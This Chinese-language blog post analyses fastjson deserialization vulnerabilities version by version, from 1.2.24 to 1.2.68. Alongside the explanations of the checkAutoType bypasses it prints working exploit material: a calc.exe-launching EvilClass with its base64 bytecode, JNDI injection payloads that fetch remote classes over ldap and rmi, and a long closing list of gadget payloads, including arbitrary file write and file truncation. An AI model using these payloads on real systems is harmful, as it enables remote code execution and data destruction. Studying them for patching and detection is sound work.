fastjson
##简介
fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。由于其特点是快,以性能为优势快速占领了大量用户,并且其 API 十分简洁
特点
原理
JSON.toJSONString(),JSON.toJSONString(Object, SerializerFeature.WriteClassName);
将对象转换为json
格式的字符串。
- JSON.toJSONString():普通转换
- JSON.toJSONString(Object, SerializerFeature.WriteClassName):其会将对象类型一起序列化并且会写入到
@type
字段中
JSON.parse(),JSON.parseObject() , JSON.parseObject(Srting,Class)
将json格式的字符串转换为对象。
parse
会转换为@type
指定的类,用parse
反序列化时,调用set
方法
parseObject
会默认指定JSONObject
类,parseObject
反序列化时,调用了@type
指定类的set和get方法
parseObject(Srting,Class)
参数中加一个类参数则会转换为其指定的类(这里指定Object会自动转化为JSONObject),parseObject(Srting,Class)
反序列化时,调用了@type
指定类的set方法
简单分析下demo
这里直接搬用了Da22le师傅的测试用例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package com.example.fastjson;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;
public class demo { public static void main(String[] args) { User user = new User("张三",18,"game");
String s1 = JSON.toJSONString(user); String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1); System.out.println(s2); System.out.println("-----------------------------------------------------"); Object parse = JSON.parse(s2); System.out.println(parse); System.out.println(parse.getClass().getName()); System.out.println("-----------------------------------------------------"); Object parse1 = JSON.parseObject(s2); System.out.println(parse1); System.out.println(parse1.getClass().getName()); System.out.println("-----------------------------------------------------"); Object parse2 = JSON.parseObject(s2,Object.class); System.out.println(parse2); System.out.println(parse2.getClass().getName()); } } class User { private String name; private int age; private String hobby;
public User() { }
public User(String name, int age, String hobby) { this.name = name; this.age = age; this.hobby = hobby; }
public String getName() { System.out.println("调用了getName"); return name; }
public void setName(String name) { System.out.println("调用了setName"); this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public String getHobby() { return hobby; }
public void setHobby(String hobby) { this.hobby = hobby; }
@Override public String toString() { return "user{" + "name='" + name + '\'' + ", age=" + age + ", hobby='" + hobby + '\'' + '}'; } }
|
调用set方法:(具体调用流程看调用栈)
调用get方法:
在paseObject
中会调用toJSON
方法,其中toJSON里调用了get
方法,具体看调用栈
@type作用?
在com\alibaba\fastjson\parser\DefaultJSONParser.class
中,获取到标识符@type
赋给key
判断key是否是@type
,JSON.DEFAULT_TYPE_KEY
就是常量@type
。接着在获取paylaod
中引号包裹的下一位,即是@type
后面跟着的字符串 - 指定加载的类
1.2.24
pom.xml
1 2 3 4 5
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
|
漏洞利用:
JdbcRowSetImpl
TemplatesImpl
fastjon中存在两条利用链
JdbcRowSetImpl
在JdbcRowSetImpl#setAutoCommit
中,setAutoCommit
方法里调用了connect()
方法,而在connect
方法中可以调用lookup方法,即存在jndi注入漏洞
1
| JdbcRowSetImpl#setAutoCommit -> connect -> lookup
|
JdbcRowSetImpl
利用链测试demo
1 2 3 4 5 6 7 8 9 10 11
| package com.example.fastjson;
import com.sun.rowset.JdbcRowSetImpl;
public class lookupDemo { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/mymwv2"); jdbcRowSet.setAutoCommit(true); } }
|
paylaod:
1
| JSON.parse("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ckb7j7\",\"autoCommit\":true}");
|
###TemplatesImpl
fastjosn存在下例特性:
如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField
参数
fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_ -
字符串
fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64解码,在序列化时也会进行base64编码
先来看一下TemplatesImpl
的getOutputProperties
方法,它是_outputProperties
的getter方法,
getOutputProperties
中调用了newTransformer
方法,跟进,跟进该方法
newTransformerImpl
对象时会进入到getTransletInstance()
中,在getTransletInstance
方法中判断了_name
和_class
是否为空,如果_name!=null
&&_class=null
则会调用到defineTransletClasses()
。在defineTransletClasses()
中,通过for循环加载_bytecodes[]
来加载类,其中_tfactory
不为null,并且因为加载完类后会强制类型转换为AbstractTranslet
,也就是说加载的类必须为AbstractTranslet
的子类。
接下来会实例化_class[_transletIndex]
并强制转为AbstractTranslet
类型,其中_transletIndex=-1
即实例化数组_class
的第一位
还有一点就是,利用到的所有变量都为private
,在反序列化的时候需要加上Feature.SupportNonPublicField
参数
到这里就找到了整条利用链,总结下条件:
- fastjson反序列化时需有
Feature.SupportNonPublicField
参数
_bytecodes[]
需进行base64编码
_bytecodes[]
中加载的类需为AbstractTranslet
的子类
_name != null
_tfactory != null
测试:恶意类EvilClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException;
public class EvilClass extends AbstractTranslet { public EvilClass() throws IOException { Runtime.getRuntime().exec("calc.exe"); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{
} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{
} public static void main(String[] args) throws Exception{ EvilClass evilClass = new EvilClass(); }
}
|
base64编码后json.prase
解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.example.fastjson;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.io.Serializable; import java.util.Base64;
public class test implements Serializable { public static void main(String[] args){ byte[] bytes = null;
String path = "E:\\java_file\\JNDI\\Fastjson\\src\\main\\java\\com\\example\\fastjson\\EvilClass.class"; try{ FileInputStream fis = new FileInputStream(path); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while ((n = fis.read(b))!=-1){ bos.write(b,0,n); } fis.close(); bos.close(); bytes = bos.toByteArray();
}catch (Exception e){ e.printStackTrace(); } String bytecode = Base64.getEncoder().encodeToString(bytes); String payload = String.format("{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"%s\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}",bytecode); System.out.println(payload); JSON.parseObject(payload, Feature.SupportNonPublicField); } }
|
payload:
1
| {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEAHmNvbS9leGFtcGxlL2Zhc3Rqc29uL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAANAAQADgANAA8ADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAUAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFwAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGgAIABsADAAAAAQAAQAUAAEAFQAAAAIAFg=="], '_name':'c.c', '_tfactory':{ },"_outputProperties":{}}
|
1.2.25-1.2.41
修复了之前版本的漏洞,但是采取黑名单的方式来修改的,存在绕过方式
运行之前1.2.24的paylaod报错:
autoType is not support
,来看看这个checkAutoType
干了什么:
1
| this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
|
最后如果autoTypeSupport
开启的情况下,进入loadclass.对@type
指定类的格式进行了检测。这也很好绕过,添加L
&;
最终paylaod:
1
| {\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ckb7j7\",\"autoCommit\":true}
|
1
| {"@type":"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;", "_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEAHmNvbS9leGFtcGxlL2Zhc3Rqc29uL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAANAAQADgANAA8ADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAUAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFwAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGgAIABsADAAAAAQAAQAUAAEAFQAAAAIAFg=="], '_name':'c.c', '_tfactory':{ },"_outputProperties":{}}
|
问:测试的时候我们是手动改的AutoTypeSupport = true
,实际情况中默认为flase
怎么打呢
1
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
|
1.2.42
把1.2.25的paylaod运行下,报错,依旧是checkAutoType
的原因:
checkautotype
中,添加了一串看不懂的,debug看看变化了什么
我们传入的Lcom.sun.rowset.JdbcRowSetImpl;
被转换成了com.sun.rowset.JdbcRowSetImpl
。这段代码这作用是使用hashcode对字符串进行了L
&;
包裹的内容截取
过了这两个才能进入loadClass
,loadClass
和之前版本一样。所以我们要使得我们传入loadclass
的是L
&;
包裹的。由此绕过方式就直接在1.2.25的基础上,再套一次L
&;
。这就能够绕过,最后调用 TypeUtils.loadClass
1 2
| Arrays.binarySearch(this.acceptHashCodes, hash) >= 0 //Arrays.binarySearch()方法是Java中的一个工具方法,它用于在一个已经排序好的数组中搜索指定的元素,存在返回返回搜索元素的索引位置,不存在返回一个负数
|
对上面hash的解释 - from su18
1.2.43
跑一遍1.2.42
的paylaod,报错,又在checkAutoType
这里抛出了异常
这个表达式对对类名进行了检测,如果连续出现两个LL
就会抛出异常
但是在loadclass
里存在递归调用loadclass
.针对 [
进行了处理和递归,因此可以利用[
来绕过
payload:
1 2 3 4 5
| {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"rmi://127.0.0.1:1099/6y0pej","autoCommit":true} 这里可以变动一下: [,,,,{ [,{
|
1.2.44 - 结束字符串处理导致的黑名单绕过
跑一遍1.2.423
的paylaod,报错,又双在checkAutoType
这里抛出了异常
他检测了我们传入的类,当第一个字符为[
时抛出异常。
1
| 注:对过滤的理解:定义了特征值,用于被检测的字符串转成ascii码后进行了运算后比较,实际上就是过滤 [ ,这里这么写可能是用来混淆,前面的过滤也是一样的
|
由字符串处理导致的黑名单绕过也就告一段落了,但我感觉这修复得还是很草率(虽然我不知到能怎么绕)前几个版本都是哪出问题禁哪里,感觉修复的比较水(莫非开发大佬故意的,给搞安全的留口饭吃(狗头保命))
1.2.45
这个漏洞是因为存在其他组件利用导致的,需要导入mybatis
的jar包。适用于<=1.2.45
黑名单中不存在org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
,可以直接利用
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.45</version> </dependency> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.4.0</version> </dependency>
|
JndiDataSourceFactory
中的setProperties
方法存在lookup
方法。满足set
以及lookup
这俩个条件,可以利用
JndiDataSourceFactory
类利用测试demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
import java.util.Properties;
public class test { public static void main(String[] args) throws Exception{ JndiDataSourceFactory jndiDataSourceFactory = new JndiDataSourceFactory(); Properties properties = new Properties(); properties.setProperty("data_source","ldap://127.0.0.1:1389/6y0pej"); jndiDataSourceFactory.setProperties(properties);
} }
|
1 2
| {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/6y0pej"}}
|
这个组件的存在导致了漏洞。那么要是又爆出了可利用的组件是不是又g了。过来了这么久应该有其他可利用组件吧(虽然我不知道)
1.2.47
影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47
这个版本漏洞最为严重,1.2.25-1.2.45
都是需要autoTypeSupport=true
的,而他可以在不开启autoTypeSupport
的情况下触发漏洞。
问题依旧出在checkAutoType
:
autoTypeSupport=true
的时候会和1.2.44
一样被检测抛出异常
如果能够继续往下走到这的话,会从Mapping
和deserializers
中寻找类,如果存在则返回clazz
在ParserConfig
类中,构造方法中调用了initDeserializers
1 2 3 4 5
| ParserConfig(ASMDeserializerFactory asmFactory, ClassLoader parentClassLoader, boolean fieldBased){ '''' this.initDeserializers(); '''' }
|
而initDeserializers
会向deserializers
中添加很多类,类似一种缓存。其中的 this.deserializers.put(Class.class, MiscCodec.instance);
是可以利用的
在MiscCodec
类中存在一个deserialze
方法,这个方法中对传入的clazz
进行了判断,如果是Class.class
,那么就会调用TypeUtils.loadClass
。这里就接到fastjson后半部分了。
在TypeUtils.loadClass
中,如果cache
为true则会将className
放到mapping
中,其中cache
默认为true,className
为传进来的strVal
strVal
是由objVal
强制转换来的,而objVal = parser.parse();
,就是指定的com.sun.rowset.JdbcRowSetImpl
对象,
而deserialze
中检测了参数名称,必须为val
所以需要在payload
中添加上val
参数
paylaod:
1 2 3 4
| "{\"k4\": {\"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\"}, \"k3\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:1389/6y0pej\",\"autoCommit\": true}\"}"
|
问题:
1,怎么调用了ParserConfig
类,从而存在后面的链子的?
parse
中实例化了这个类
2,怎么调用到MiscCodec.deserialze()
的?
DefaultJSONParser.parseObject()
根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze()
处理
1.2.47可参考su18✌的文章,分析得很清楚!https://su18.org/post/fastjson/#7-fastjson-1247
1.2.68
在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec
处理 Class 类的地方,设置了cache 为 false ,并且 loadClass
重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。—— form su18
在1.2.68中跟新了一个安全控制点safeMode
,在com\alibaba\fastjson\1.2.68\fastjson-1.2.68.jar!\com\alibaba\fastjson\parser\Feature.class
checkAutoType
中检测了safeMode
,如果为ture
,直接抛出异常
但是概版本也爆出了一个新的autoType
开关绕过方式:expectClass 绕过 checkAutoType()
在 checkAutoType()
函数中有这样的逻辑:当expectClass参数不为Null、且当前需要实例化的类型是expectClass的子类或实现时会将传入的类视为一个合法的类(此类不能在黑名单中),就可以通过 checkAutoType()
的安全检测。
期望类expcetClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| final boolean expectClassFlag; if (expectClass == null) { expectClassFlag = false; } else { if (expectClass == Object.class || expectClass == Serializable.class || expectClass == Cloneable.class || expectClass == Closeable.class || expectClass == EventListener.class || expectClass == Iterable.class || expectClass == Collection.class ) { expectClassFlag = false; } else { expectClassFlag = true; } }
|
其中Object,Serializable,Cloneable,Closeable,EventListener,Iterable,Collection
这几个类不能作为期望类
所以我们只需要找到checkAutoType()
几个重载方法是否有可控的 expectClass
:
JavaBeanDeserializer#deserialze()
在fastjson中对大部分类都指定了特定的deserializer,而AutoCloseable类没有,通过继承/实现AutoCloseable的类可以绕过autotype反序列化
1
| {"@type":"java.lang.AutoCloseable","@type": "com.example.fastjson.execCloseable","domain":"calc"}
|
ThrowableDeserializer#deserialze()
deserialze() 方法直接将 @type后的类传入 checkAutoType()
,并且 expectClass 为 Throwable.class
。通过 checkAutoType()
之后,将使用 createException
来创建异常类的实例,这就形成了 Throwable
子类绕过 checkAutoType()
的方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import java.io.IOException; public class execException extends Exception { private String cmd; public execException() { super(); } public String getCmd() { return cmd; } public void setCmd(String cmd) { this.cmd = cmd; } @Override public String getMessage() { try { Runtime.getRuntime().exec(new String[]{cmd}); } catch (IOException e) { return e.getMessage(); } return super.getMessage(); } }
|
但是这个很鸡肋,命令执行是写在异常类处理中的,实际中少有开发者会这么写
1
| {"@type":"java.lang.Exception","@type": "com.example.fastjson.execException","cmd":"calc"}
|
问题:添加expectClass的原因?
存在的原因应当是例如 com.cyx.A
为白名单, com.cyx.A
的构造方法中或setter中存在 com.cyx.B
,那么要想实例化 com.cyx.A
则需要传入 com.cyx.B
对象,而 com.cyx.B
并不在白名单中,所以将其作为expectClass参数传入checkAutoType方法中检测该类是否合法,如果是 com.cyx.B
的子类或实现则视为合法的类。
payload
这些payload都是从su18师傅博客中搬过来的,还没有挨个测试过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399
| JdbcRowSetImpl
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:23457/Command8", "autoCommit": true } TemplatesImpl
{ "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgA...k="], '_name': 'su18', '_tfactory': {}, "_outputProperties": {}, } JndiDataSourceFactory
{ "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://127.0.0.1:23457/Command8" } } SimpleJndiBeanFactory
{ "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean", "targetBeanName": "ldap://127.0.0.1:23457/Command8", "propertyPath": "su18", "beanFactory": { "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": [ "ldap://127.0.0.1:23457/Command8" ] } } DefaultBeanFactoryPointcutAdvisor
{ "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor", "beanFactory": { "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": [ "ldap://127.0.0.1:23457/Command8" ] }, "adviceBeanName": "ldap://127.0.0.1:23457/Command8" }, { "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" } WrapperConnectionPoolDataSource
{ "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;" } JndiRefForwardingDataSource
{ "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName": "ldap://127.0.0.1:23457/Command8", "loginTimeout": 0 } InetAddress
{ "@type": "java.net.InetAddress", "val": "http://dnslog.com" } Inet6Address
{ "@type": "java.net.Inet6Address", "val": "http://dnslog.com" } URL
{ "@type": "java.net.URL", "val": "http://dnslog.com" } JSONObject
{ "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.net.URL", "val": "http://dnslog.com" } } "" } URLReader
{ "poc": { "@type": "java.lang.AutoCloseable", "@type": "com.alibaba.fastjson.JSONReader", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "http://127.0.0.1:9999" } } } AutoCloseable 任意文件写入
{ "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "/path/to/target" }, "parameters": { "@type": "org.apache.commons.compress.compressors.gzip.GzipParameters", "filename": "filecontent" } } BasicDataSource
{ "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource", "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...", "driverClassLoader" : { "@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;" } } JndiConverter
{ "@type": "org.apache.xbean.propertyeditor.JndiConverter", "AsText": "ldap://127.0.0.1:23457/Command8" } JtaTransactionConfig
{ "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig", "properties": { "@type": "java.util.Properties", "UserTransaction": "ldap://127.0.0.1:23457/Command8" } } JndiObjectFactory
{ "@type": "org.apache.shiro.jndi.JndiObjectFactory", "resourceName": "ldap://127.0.0.1:23457/Command8" } AnterosDBCPConfig
{ "@type": "br.com.anteros.dbcp.AnterosDBCPConfig", "metricRegistry": "ldap://127.0.0.1:23457/Command8" } AnterosDBCPConfig2
{ "@type": "br.com.anteros.dbcp.AnterosDBCPConfig", "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8" } CacheJndiTmLookup
{ "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames": "ldap://127.0.0.1:23457/Command8" } AutoCloseable 清空指定文件
{ "@type":"java.lang.AutoCloseable", "@type":"java.io.FileOutputStream", "file":"/tmp/nonexist", "append":false } AutoCloseable 清空指定文件
{ "@type":"java.lang.AutoCloseable", "@type":"java.io.FileWriter", "file":"/tmp/nonexist", "append":false } AutoCloseable 任意文件写入
{ "stream": { "@type":"java.lang.AutoCloseable", "@type":"java.io.FileOutputStream", "file":"/tmp/nonexist", "append":false }, "writer": { "@type":"java.lang.AutoCloseable", "@type":"org.apache.solr.common.util.FastOutputStream", "tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=", "sink": { "$ref":"$.stream" }, "start":38 }, "close": { "@type":"java.lang.AutoCloseable", "@type":"org.iq80.snappy.SnappyOutputStream", "out": { "$ref":"$.writer" } } } AutoCloseable MarshalOutputStream 任意文件写入
{ '@type': "java.lang.AutoCloseable", '@type': 'sun.rmi.server.MarshalOutputStream', 'out': { '@type': 'java.util.zip.InflaterOutputStream', 'out': { '@type': 'java.io.FileOutputStream', 'file': 'dst', 'append': false }, 'infl': { 'input': { 'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==', 'limit': 22 } }, 'bufLen': 1048576 }, 'protocolVersion': 1 } BasicDataSource
{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassName": "true", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A" } HikariConfig
{ "@type": "com.zaxxer.hikari.HikariConfig", "metricRegistry": "ldap://127.0.0.1:23457/Command8" } HikariConfig
{ "@type": "com.zaxxer.hikari.HikariConfig", "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8" } HikariConfig
{ "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig", "metricRegistry": "ldap://127.0.0.1:23457/Command8" } HikariConfig
{ "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig", "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8" } SessionBeanProvider
{ "@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider", "jndiName": "ldap://127.0.0.1:23457/Command8", "Object": "su18" } JMSContentInterceptor
{ "@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": { "@type": "java.util.Hashtable", "java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory", "topic-factory": "ldap://127.0.0.1:23457/Command8" }, "namespace": "" } ContextClassLoaderSwitcher
